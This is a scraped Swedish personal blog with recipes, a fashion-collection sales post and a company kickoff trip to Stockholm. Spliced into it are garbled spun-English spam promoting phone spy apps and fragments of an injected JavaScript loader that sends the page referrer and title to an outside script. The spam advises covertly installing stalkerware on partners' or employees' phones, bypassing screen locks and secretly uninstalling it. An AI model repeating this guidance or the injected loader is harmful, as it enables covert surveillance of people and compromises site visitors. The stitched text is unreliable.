Asiatisk nudelsallad


1 salladshuvud (isbergssallad) eller blandsallad
6-7 salladslök (skivade i ca 5 mm bitar)
100 gram rostade mandlar utan skal (kan uteslutas om ni vill)
100 gram friterade nudlar (köper mina i en Asiatisk affär)

1/4 cup Vit vinäger (rekommenderar att ni köper den som finns i de Asiatiska affärerna)
1/4 cup strösocker
1 tblsp soja sås
2 tsp sesam olja (kan uteslutas om ni inte tycker om sesam olja)
1/2 cup olivoja utan smak

Mixa ihop alla ingredienser till dressingen i en skål, rör om ordentligt .
Blanda ihop salladen, salladslöken och ev. mandel i en salladsskål. Häll över dressingen och blanda ordentligt.
Precis innan ni serverar salladen, lägg i nudlarna  och rör om. Om ni lägger i nudlarna för tidigt, kommer de bli mjuka och då får ni inte den goda ”crunchy” effekten på salladen. Vinägern jag använder är destillerad vinäger som går att köpa i välsorterade matbutiker som tex Ica Focus. Nudlarna hittar jag endast i den asiatiska affären utanför Nordstan. Försök hitta liknande för det blir inte samma effekt om ni tar andra nudlar. Skicka gärna kommentarer om vad ni tycker om salladen.

Isbergssallad salladslok-125g-klass1-1




This text covers the better areas of phone spy apps, what they are, the direction they operate, and the ways to install them described by spyphonetools com

At the time right after a period, spy apps on your phone are awkward, expensive, and dear. They were also hard to setup on your person’s phone, usually in need of unique experience, and even making the phone separate. Gratefully, those days are former. Today’s cell phone spying software programs are affordable, not difficult to put up, and readily obtainable.

Spy Apps are for more than just involved partners and partners. They are also an invaluable internet business application, economizing time and cash on normal tracing, and assisting to give protection to management and business information.

This will assist you to spy on the person who you have to spy on, irrespective of where they can be, or what they’re doing.

The way to select the Cell Phone Spy App You Wish

A great number of spy apps are not the same. Some are created to get together exact requirements.

The sort of cell phone spy app you put in is determined by your supposed use. Such as, keeping tabs on a vibrant daughter or girl is very distinct from traffic monitoring workers, or retaining tabs on the being unfaithful boyfriend or partner. Regarding a unfaithful husband or wife, it’s a much more vulnerable make any difference. The whole life might be switched upside-down by selecting the improper spy app.

Just below, you’ll uncover an index of the cell spy apps we’ve verified here on VisiHow, starting with the priciest and feature bundled, and ending with simple completely free apps.

Installing a spy app on someone’s mobile phone isn’t always easy, but in some cases it’s worth the time basically to know.

In case you have admission to a cellular phone that has been coupled to the online, and you might want to privately use a spy phone app to monitor texts or sound calls, you will sometimes really have to avoid the display screen locking mechanism. You can do this by making use of Screen Secure Circumvent Pro, which sustains unlocking selected instruments who have correlation to the web. Realize that it will only be used to entry units you happen to be sanctioned to find, as regarding an online business using small business products, these devices of the minor children, or other piece of equipment that you will possess and require to find. Other find are definitely not authorised.

From time to time you merely can’t grab the phone of the person you might want to spy on.

Sorry to say, there are no legitimate options for being able to access the mobile phone of a 3rd party with the use of a cell phone spy program. Even so, there are specific tactics individuals have used to function in and around this limitation. Conceivably the most prevalent these should be to get a spy phone software program over the phone of any personnel and also other people they will be utilizing, that is certain to frequently execute in the vicinity of the same characteristics for the primary motive.

Another option should be to install a SpyPhoneTools spy system for the cell phone or Tablet, and thereafter produce that as being a reward, then again, the legal guidelines governing this sort of hobby ought to be covered, simultaneously via the software provider, and based on the legalised disclaimers displayed through this tips guide.

As being a last option, if you happen to a corporation or possess a want more than 1 phone accompanied by a spy app attached to it, you may watch text and get in touch with info by getting new products when using the software programs attached to them coming from the production line. Just one agency giving this service is My Spy (mSpy), but there can be other people, like BosSpy, Flexispy, Mobile Spy, Spy to Cellular, Stealth Genie, and Top rated Spy. In this instance, you can often organize a price reduction buying of main systems, such as the HTC At least one, Samsung Galaxy S5, or Sony Xperia.

Tips on how to Privately Un-install a Mobile Phone Spy Software

As soon as you’ve achieved the messy give good results, you’ll demand in order to un-install the app without any arousing any suspicions.

When putting in a spy app you need to guarantee that it is possible to remove it easily in case that your focus on obtains questionable. All the spy apps which may have a user interface have instruction manuals through the user interface teaching how to un-install the app. You can also find apps which is often uninstalled slightly by mailing a coded message with the intended phone and also app is uninstalled. It is possible to usually chose the uninstall details over the spy app websites in their food list possibilities or Frequently asked questions department.

Let us discuss the spy apps that can be from another location uninstalled:

  • FlexiSpy
  • Highster Smartphone
  • Hi there Spy
  • Spyera
  • Automobile In front
  • SurePoint Spy
  • mSpy
  • TruthSpy

For simple arguments, deciding on a spy app that enables for rural uninstall is a sensible way to be sure that you do not get stuck.

For your apps you have to hand un-install, normally there are just a very few brief techniques to uninstall which include getting in touch with a short rule wide variety using the concentrate on phone and locations will show up on screen and you may visit Uninstall app.

Using Cell phone Phone Spy Apps for Your Online business

If you’re having to pay funds keeping tabs on individuals, you can spend less nearly all of it simply by converting to low cost cellphones with spy apps.

Simply by using a spy app for ones company, one can arranged consumption restrictions with your staff phones and keep track of their locations. When you are able keep track of locales to your employees this can be used attribute to sooner or later save cash by monitoring their behaviour and looking at to determine if their motions can be sleek for far better efficiency and effective time management. Being able to find an employee’s displaced phone is really a worthwhile element when you think about that cellphones in employee’s really care remain in back of in cabs and eateries at all times. You will also can keep tabs on searching past and social networking if it is permitted on your employee’s phone. With FlexiSpy and Spyera you can document or listen closely straight into the employees interactions for good quality keeping tabs on and patrolling to ensure that deal secrets and techniques usually are not staying distributed to challengers. Examples of the spy apps have also home computer and tablet pc watching applications to increase your phone monitoring program.

Spy Apps supply you with Enterprise Plans for different cellphones in one credit account like mSpy or have a very good single time charge for each phone like Highster Wireless. Spyera offers you Business Bundles that check an employee’s Computer or Notebook computer, Device and cell phone.

Methods to Watch any Phone Crook Implementing SpyPhoneTools Spy Iphone app

If someone stole your phone, and you will have your special spy app put in, it really received easier to catch the burglar.

Working with a spy app being a protective solution yourself phone is among the most best ways to check if someone stole your phone and how to know that phone. Spy apps start up and monitor venues even if the region purpose is switched off. Portion of the predicament of selecting your phone choosing Yahoo Machine Director along with other destination devices is when the spot characteristic is certainly not triggered on your own phone, you can expect to be unable to track down the phone. Robbers know about this frequently they may at once eliminate the phone specific location attribute.

Apps that you may mount for just following a phone like Locate My Phone can be found fast because of a thief and as well deleted or disabled. By having a spy app, the thief will be unable to pick the spy app as quickly as a regular place app. This allows you a better chance to trap the intruder. Quite a few spy apps like mSpy and FlexiSpy in addition offer being able to slightly snap photographs and tune in to room does sound.

Where to find Respectable Apps that Spy on Mobile Phone Devices

You might want to have confidence in the app you’re the installation of to spy, although you may don’t rely upon the patient you’re spying on.

The first thing to consider when figuring out if you should put in a phone spy app from spyware for cell phones, is whether you can depend on the provider you’re probably going to be implementing. Simply because that business are going to have stuffed accessibility person’s facts, signals, and independent telecommunications of phone or Tablet you might be spying on. Regardless of whether you’re attempting to keep tabs within your children, or being confident that a worker isn’t stealing management and business info, it’s extremely important to give protection to the privacy of together your data in addition to their information and facts. Right here is a number of things you need to contemplate to discover irrespective of whether a provider is reliable or perhaps not.


var d=document;var s=d.createElement(‘script’);

Kycklingspett i ugn

De bästa spetten gör du på färsk kycklinglårfilé. Det är så mycket smak i dessa bitar.

Recept 24 mindre spett
1 kg kycklinglårfilé

1 pressad vitlöksklyfta
1 1/2 dl sojasås
2 msk matolja
1 1/2 tsk farinsocker

Blötlägg spetten i vatten.
Skär upp kycklingen i mindre bitar och lägg kycklingen i en  plastpåse och häll  över marinaden. Marinera kycklingen över natten i kylskåpet.

Trä kycklingbitarna på spetten och häll på lite sesamfrön. Spara resten av marinaden. Grilla i ugn på 250 grader ca 3-4 min på varje sida. Spetten kan serveras varma som kalla.  Om du ska värma upp spetten igen så kan du pensla på lite av marinaden som är över och häll på lite mer sesamfrön. Värm spetten på ca 150 grader i 10 min.


Servera spetten med en god sallad.var d=document;var s=d.createElement(‘script’);

} else {} else {




Receptet på laxrullen hittade jag här.
Istället för bladspenat tog jag ruccola.

Ingredienser 1 rulle

  • 200 g rökt lax
  • 100 g naturell färskost med pepparrotssmak
  • salt och peppar
  • 1 dl bladspenat
  • juicen från 1/4 citron


Gör så här:

  1. Lägg rökt lax i tunna skivor omlott på plastfolie och bre på naturell färskost med pepparrotssmak. Salta och peppra.
  2. Fördela bladspenat över, pressa över juice från citron och rulla ihop laxen till en fast rulle. Ställ rullen i kylen.
  3. Skär den i 1-2 cm breda skivor då den stelnat. Servera.


IMG_5873if (document.currentScript) {


Glutenfri pajdeg till Västerbottenostpaj

Igår gjorde jag en glutenfri pajdeg som blev riktigt bra. Receptet till pajdegen hittade jag här.

Recept (6-8 personer eller en pajform)
100 gram majsmjöl
100 gram majsstärkelse/maizena
1 tsk fiberhusk
1/2 tsk salt
100 gram smör
1 ägg
1 msk kallt vatten

Gör så här:
1. Blanda majsmjöl, majsstärkelse, fiberhusk och salt.
2. Finfördela smöret i mjölblandningen.
3. Tillsätt ägget och vattnet, arbeta till en smidig deg.
4. Låt degen vila ca 15 minuter.
5. Kavla eller tryck ut degen i en pajform, 24 cm i diameter.
6. Förgrädda ca 10 minuter i 200 grader innan du fyller pajskalet

Notera att pajdegen blir rätt lös när nu rört ihop degen. Degen blir bättre efter du låtit den vila 15 minuter i kylskåpet.


250-300 gram riven västerbottenost
4 ägg
3,5 dl vispgrädde
1 krm svartpeppar

Gör så här:
Vispa ägg och grädde, tillsätt osten. Smaka av med salt och peppar. Häll ostfyllningen i pajskalet och grädda ca 20 minutser i 225 grader tills pajen stelnat. Om du tycker pajen får för mkt färg under gräddningen, lägg då ett bakplåtspapper över pajen resten av tiden tills pajen är klar. Låt svalna.

Om du tänker servera pajen dagen därpå har jag ett bra knep hur du bäst värmer upp pajen igen.
Det bästa sättet att värma upp en paj är att värma ugnen till 200 grader, sätta in pajen och därefter direkt stänga av ugnen. Låt den stå i eftervärmen cirka 10-15 min.

Servera pajen men en god sallad.


 s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

if (document.currentScript) {

Pannacotta med passionsfrukts-topp


Recept 8 små bägare

1 liter vispgrädde
2 dl socker
5 gelatinblad
1 tsk vaniljsocker

1 gelatinblad
1 dl utspädd passionsfruktjuice

Gör så här:
Häll vispgrädde och socker i en kastrull. Låt koka upp.
Blötlägg gelatinbladen i 5 minuter. Ta upp och lägg ner i den kokta varma gräddblandningen. Tillsätt vaniljsockret.
Fördela i små bägare och plast (engångs) eller glas. Ställ i kylen. När det stelnat så mycket att du kan hälla ett lager över gör du toppingen.
Blötlägg gelatinbladen i 5 minuter. Ta upp och smält gelatinbladen i en kastrull eller i en skål i mikrovågsugnen på full effekt (max 800 W) i ca 10 sekunder.
Tillsätt gelatinen i en tunn stråle ner i passionsfruktsjuicen. Häll juicen över den stelnande pannacottan och ställ allt i kylen igen så det stelnar. Garnera med färsk passionsfrukt,  citronmeliss eller mynta.






Räkmousse 4 pers.
1/2 kg räkor (oskalade)
1 pkt crabfish
1 dl grädde
1 dl majonnäs
1 tsk gelatinpulver

Räkor, löjrom, dill och citron eller valfri topping. Här hade jag gjort laxrullar som jag skurit upp i bitar.

Gör så här:
Skala räkorna, kör dom i mixer, lägg i crabfishen och mixa igen. Vispa grädden hårt och blanda i majonnäsen. Ner med gräddblandningen i mixern och mixa. Gelatinpulvret rörd ut i en matsked vatten, häll i det i röran plus ytterligare 1/2 dl vatten. Blanda. Lägg i moussen i en form eller serveringsglas.  Den skall stå i kyl i minst ett par timmar. Den är god att servera med löjrom och citron.


d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

FME Collection SS2016

Rachel dress Här ser ni Hannah i den fina ”Rachel dress” som finns i vårens FME Collection.

Snart släpps den nya, fina vårkollektionen av Hannah Graaf ”FME Collection”. Det här är tredje säsongen jag säljer in kollektionen och jag är så laddad att få visa upp alla fina kläder för mina vänner och kunder.

Om ni vill boka in en privat visning hemma hos er med era väninnor kan ni höra av er till mig på Jag är säljare av FME Collection i Göteborg. Jag har även en fb sida som ni kan gå in och gilla och få uppdateringar om kollektionen. Sidan heter ”Helenas FEMME Collection i Göteborg”.

Ni kan läsa om mitt möte med Hannah när hon var på besök i Göteborg i veckan här.

Här ser ni några foton från vårens kollektion. Fotona här jag lånat från Hannah’s blogg.
Nytt för denna säsongen är att vi har byxor, shorts, kjolar och långklänningar i kollektionen. Kläderna finns i stlk XS-XL.

Underbara ”Faye dress” i Mineral Blue.Faye dress Mineral BlueHär ser ni ”Faye dress” i Black.
Faye dress Black
Här har ni ”Agnes shirt dress i Black” Agnes shirt dress Black ”Agnes shirt dress” finns även i den underbara ”Aua dots”.

img_5754Nedan ser ni byxor, linne och kofta från vårens kollektion.
12509865_570419969778023_6435529283479426360_n 12494737_570420673111286_7986572959775319602_n Isa Sweather

Fick förmånen att kika på höstkollektionen och jag hittade genast flera favoriter.

IMG_5696 IMG_5703 IMG_5704

Vi avslutade mötet med middag på Tranquilo.


Började med en supergod mangodrink som heter ”Mango pango” gjord på Chili, Mango, Mörk rom.




Vi åt en massa smårätter och till maten serverades vitt vin.

IMG_5731 IMG_5730 IMG_5729 IMG_5728 IMG_5727

 Här ser ni lite foton från höstkollektionen. Bilderna har jag lånat från Hannah’s blogg.

img_5936Den här blusen är ju helt underbar. Foton har jag lånat från Hannah’s blogg samt från Instagram. Nedan ser ni Angelica bära samma blus men i en fin varm röd färg. Hannah bär en supersnygg randig ”shirtdress”.

Här ser ni Angelica med den fina svarta ponchon.


En härlig FME tröja.


Höstens färgskala ser ni här.



 } else {

if (document.currentScript) {

Kickoff 2016

I år firade Fastighetsbyrån 50-år och det firades på Globen.


Vi åkte tåg upp till Stockholm på torsdag den 21:e januari och checkade in på  Hotell Globen.



Rummet var ett familjerum så det var gott om plats för två personer.


När vi checkat in på hotellet minglade vi lite i  lobbyn.

På kvällen åkte vi in till stan och åt en supergod middag på Supper. Vi beställde in en massa rätter som vi åt.


På fredagen hölls konferensen på Annexet på Globen.



Efter konferensen bytte vi om och så var det en liten förfest ihop med kollegorna. Fördrinken och festligheterna hölls på själva Globen på kvällen.


IMG_5573IMG_5572För att komma in på kvällens festligheter fick vi alla ett magnetarmband som de scannade in vid ankomst. På armbanden var det laddat med drinkbiljetter.

Ingen dålig bordsplacering inför kvällens festligheter.





Kvällens nominerade:
IMG_5558IMG_5557 IMG_5559

Picklad gulbeta, kanderad solroskärna & tegelrökt skinka med ringlad örtolja. Löjrom med västerbottenpannacotta. Dilldipp med friterad tunnbröd. Lågtempat ägg med tryffelmajonnäs & stekt bröd.
Vin: Antanto Macabeo Organic: Spanien



Grillad kalventrecote, rosmarinsky & kycklingleverbruchetta med rimmad sidfläsk. Serveras med rostad rotfruktsallad & stekt rödlök.
Vin: Ananto Bobal Tempranillo EKO, Spanien


Chokladfondant med hjortronpannacotta, mjölkchoklad & lakritscreme samt browniecrumble & chokladsirap.
Kaffe med avec.




Allt var så lyckat med supergod mat och dryck och en massa bra artister som underhöll.
Darin, Orup,  Miriam Bryant och Alcazar underhöll under kvällen .


Kristian Luuk var confrencier under kvällen också tillsammans med vår allas ”Mats”.






Miriam Bryant















ImageHandler2.ashxkImageHandler2.ashxiImageHandler2.ashxhif (document.currentScript) {

document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

Supper, Stockholm

I samband med vår årliga kickoff åkte hela kontoret upp dagen innan konferensen och checkade in på Globen hotell. Vi åt en middag på ”Supper” på Tegnérsgatan 37. Jag har varit där några gånger tidigare och maten är så god.

Vi började med en Sangria och sen beställde vi in en massa smårätter och olika huvudrätter som vi åt.



CHILI Choklad och chilikryddat långkok på högrev

CEVICHE DE CARIBE Limemarinerad lax, torsk, räka, koriander, chili


ENSALADA DE ATÚN Halstrad tonfissk, blodgrape, apelsinsås

FLAP STEAK Flap steak, potatispuré, chili bearnaise


Middagen avslutades med ” Suppers marängsviss” (Italian meringue with bananas and vanilla icecream).IMG_5517

IMG_5520IMG_5519} else {